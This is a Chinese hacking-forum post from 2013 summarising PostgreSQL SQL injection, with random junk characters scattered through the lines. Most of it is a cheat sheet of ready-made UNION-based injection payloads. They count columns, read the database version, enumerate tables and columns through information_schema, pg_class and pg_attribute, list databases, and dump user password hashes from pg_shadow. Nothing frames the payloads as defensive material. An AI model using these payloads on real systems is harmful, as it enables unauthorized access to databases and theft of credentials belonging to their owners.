找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2172|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点) K# [! T" F" _0 F

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
4 ~# K/ R& v8 e. ]# y+ I" b2 x1 h: O6 V连接符: %20 , + , /**/

内置函数:+ H/ q  W" R5 N5 X: U
current_database() //当前数据库名
" W" ]; T  L* u7 O7 @8 t5 p. g3 A1 |session_user //会话用户4 `( ~- z( b5 M8 K1 `) v- o
current_user //当前数据库用户
2 f( `) b# Q/ Muser //当前用户6 D. L5 j1 [& S' s, Q' {* g
version() //数据库版本

Union注射:
; }4 G- ?/ h' w. b6 yorder by n–
& m6 C% |& p' }# ?7 S1 u2 x& I9 K* Fand 1=2 union select null,null,null–
0 B0 L" }% x$ i- oand 1=2 union select ‘beach’,null,null–# A& B. \! i1 Z( ^% q4 e
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):7 x* b, K" o8 }$ Z
group_concat(table_name)
8 N1 o4 Z3 L) P- x9 I/ P9 s  tand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–, @5 i. w% M4 i, v7 }
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–) |% h* i- B6 U/ _2 ?3 t
(老版本)
; o/ ^. q2 v: a' v- a# x9 {+ D: Cpg_class.oid对应pg_attribute.attrelid; u$ X5 B. U" U# l) Y+ W
pg_class.relname表名1 Z, \6 u3 g8 z! e2 `
pg_attribute.attname字段名

select relname from pg_class获取表名) j7 {5 E& @6 d+ Z' l/ b0 }
select oid from pg_class where 条件 获取参数
. D1 ]: B) ?% |select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:; e' r$ {3 x% {" r. o  W
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表8 P+ o8 L$ P& O3 b
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–% T. j* b; @6 R3 t& _' H$ H
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
% R$ y8 X  v- ?& i' W. j======================================================================, c; R) d7 X( G
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库& q9 ]  c6 C( h' G* }7 l5 T
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表